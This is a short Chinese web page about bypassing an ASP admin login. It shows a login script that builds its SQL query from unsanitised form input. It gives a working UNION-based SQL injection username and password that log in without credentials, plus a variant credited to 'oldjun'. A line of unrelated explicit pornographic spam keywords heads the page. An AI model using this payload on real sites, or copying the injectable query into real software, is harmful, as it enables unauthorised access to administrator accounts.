国产女人18毛片水真多,狠狠噜天天噜日日噜,18无码粉嫩小泬无套在线观看,久久国产劲爆∧v内射,人妻有码中文字幕

 

    網(wǎng)上有很多這樣的登陸驗(yàn)證代碼

　　<%

　　username=trim(Request.Form("username"))

　　password=trim(Request.Form("password"))

　　sql="Select * FROM admin Where user='"&username&"'"

　　Set rs=Server.CreateObject("adodb.recordset")

　　rs.Open sql,conn,1,1

　　if rs.eof then

　　checksysUser=FALSE

　　else

　　passwd=trim(rs("pwd"))

　　if passwd=password then

　　Session("admin")=username

　　checksysUser=TRUE

　　else

　　checksysUser=FALSE

　　end if

　　End if

　　rs.close

　　conn.close

　　if checksysUser=true then

　　Response.Redirect("main.asp")

　　else

　　errmsg="<font color=#FF0000><b>用戶名輸入有誤，請(qǐng)重新輸入!</b></font>"

　　end if

　　%>

　　先在數(shù)據(jù)庫(kù)中查詢用戶名對(duì)應(yīng)的密碼,然后再和用戶輸入的密碼對(duì)比,導(dǎo)致'or'='or'這樣的萬(wàn)能登陸密碼失

　　效.但如果在上面的程序中,用戶名輸入' union   select 1,1,1 FROM admin Where ''=',密碼輸入1,就可以登陸成功,原理很簡(jiǎn)單,就不多說(shuō)了.順便附上oldjun的語(yǔ)句:' union   select 1,1,1 AS pwd FROM admin Where ''=　　

編輯：北京信誠(chéng)IT保姆IT外包部 http:// www.fouzheng.cn www.xcit.com.cn